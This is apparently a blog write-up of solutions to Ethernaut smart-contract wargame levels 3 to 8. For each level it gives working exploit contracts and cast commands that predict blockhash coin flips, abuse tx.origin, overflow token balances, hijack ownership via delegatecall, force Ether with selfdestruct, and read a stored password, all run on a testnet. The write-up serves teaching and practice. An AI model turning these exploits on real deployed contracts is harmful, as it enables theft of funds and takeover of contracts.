| jmcph4 |

Ethernaut Solutions

3 - Coin Flip

Coin Flip Solution

Reliance on blockhash for entropy is a notorious and long-adored footgun amongst EVM smart contract developers. In this case the entire input state is both deterministic and available to us ahead of time so all that's necessary is to compute the correct result and only submit those.

We'll need a wrapper contract around the CoinFlip contract. Let's call it Frontend:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "src/CoinFlip.sol";

contract Frontend {
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function step(CoinFlip flipper) public returns (uint256) {
        require(
            flipper.flip(
                uint256(
                    blockhash(
                        block.number - 1
                    )
                ) / FACTOR == 1 ? true : false),
            "not submitting incorrect guess"
        );
        return flipper.consecutiveWins();
    }
}

Frontend::step gives us a nice ratcheting primitive in that, CoinFlip::consecutiveWins() is monotonically increasing in the number of calls to Frontend::step. The outer require guard asserts that we'll never violate our above invariant and lose our consecutive wins count.

Now we can just call this method with impunity until we satisfy the CoinFlip::consecutiveWins() == 10 condition for completion of the level.

My setup for completing this level was to use Remix to deploy and call the Frontend contract and use cast locally to check what my consecutiveWins was. Once it hits ten we're ready to submit the level!

4 - Telephone

Telephone Solution

Another classic footgun of times yonder: the case of tx.origin != msg.sender. The easiest way to induce this is to call from a smart contract rather than an EOA.

We'll need another wrapper contract — this time Forwarder:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "contracts/Telephone.sol";

contract Forwarder {
    address owner;

    constructor() {
        owner = msg.sender;
    }

    function execute(Telephone telephone) public onlyOwner {
        telephone.changeOwner(msg.sender);
    }

    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }

}

After we call Forwarder::execute(OUR_EOA) (from our EOA as well, obviously) we're ready to submit the level!

5 - Token

Telephone Solution

This level is pretty straightforward; it's just regular arithmetic overflow. Note that the target contract for this level requires a relatively ancient version of Solidity. This is due to safe arithmetic finally landing in 0.8.0.

There are two steps to the attack:

  1. Transfer overflowing quantity of tokens from address $A$ to $B$ (which we also control, obviously)
  2. Transfer a non-zero quantity of tokens back from address $B$ to address $A$ (even one token is sufficient to complete the level)

This cast workflow should work12 (I've added calls that verify the state of our balances):

$ cast send ADDRESS_OF_INSTANCE_LEVEL "transfer(address,uint256) returns (bool)" ADDRESS_B $(cast --max-uint)
$ cast --to-dec $(cast call ADDRESS_OF_INSTANCE_LEVEL "balanceOf(address) returns (uint256)" ADDRESS_A)
$ cast --to-dec $(cast call ADDRESS_OF_INSTANCE_LEVEL "balanceOf(address) returns (uint256)" ADDRESS_B)
$ cast send ADDRESS_OF_INSTANCE_LEVEL "transfer(address,uint256) returns (bool)" ADDRESS_A 1
$ cast --to-dec $(cast call ADDRESS_OF_INSTANCE_LEVEL "balanceOf(address) returns (uint256)" ADDRESS_A)
$ cast --to-dec $(cast call ADDRESS_OF_INSTANCE_LEVEL "balanceOf(address) returns (uint256)" ADDRESS_B)

Then we're ready to submit our level!

6 - Delegation

Delegation Solution

Another classic footgun: delegatecall.

The obligation is Delegation::owner() == OUR_ADDRESS. Fortunately, that's exactly what Delegate::pwn does which means we'll need to go via Delegate — which is exactly what delegatecall allows us to do.

Note that it's quite likely that we'll need to provide a higher gas limit than gas simulation will yield by default3. With that being said, this should work12:

$ cast send --gas-limit 50000 ADDRESS_OF_INSTANCE_LEVEL "pwn()"
$ cast call ADDRESS_OF_INSTANCE_LEVEL "owner() returns (address)"

If the final call returns our address, we're ready to submit our level!

7 - Force

Force Solution

There's currently no way to prevent the receipt of Ether when initiated via the SELFDESTRUCT opcode. The hints for this level also reference use of a separate smart contract.

Let's call our contract Nuke4:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

contract Nuke {
    function f(address payable receipient) public {
        selfdestruct(receipient);
    }

    receive() external payable {}
}

Once Nuke is deployed, the attack has two steps:

  1. Send nonzero Ether to Nuke (1 wei is optimal)
  2. Call Nuke::f with the instance address
$ cast send NUKE_ADDRESS "f(address)" ADDRESS_OF_INSTANCE_LEVEL
$ cast balance ADDRESS_OF_INSTANCE_LEVEL

If the latest call returns a positive value, we're ready to submit the level!

8 - Vault

Vault Solution

This one's easy. On Ethereum (and most blockchains, at the moment anyway) everything onchain is public information — including the password for the vault!

$ cast storage ADDRESS_OF_INSTANCE_LEVEL 0
$ cast send ADDRESS_OF_INSTANCE_LEVEL "unlock(bytes32)" $(cast storage ADDRESS_OF_INSTANCE_LEVEL 1)
$ cast storage ADDRESS_OF_INSTANCE_LEVEL 0

You should see the locked flag change from true (i.e., 0x01) to false (i.e., 0x00). Then, we're ready to submit the level!

1: For simplicity, I've ignored wallet-specific options here (they'll be relevant for cast send usage). I used a Ledger so I just used the --ledger flag.

2: I've also ignored chain-specific options here (presumably you're not doing this on mainnet). I did it on Sepolia, so I specified --chain sepolia and also --rpc-url=https://rpc.sepolia.org.

3: You could certainly calculate the minimum value that will satisfy this execution but the value here worked for me just by eyeballing.

4: The choice of Solidity 0.8.17 specifically is due to SELFDESTRUCT's deprecation. In versions after this the compiler will omit a deprecation warning.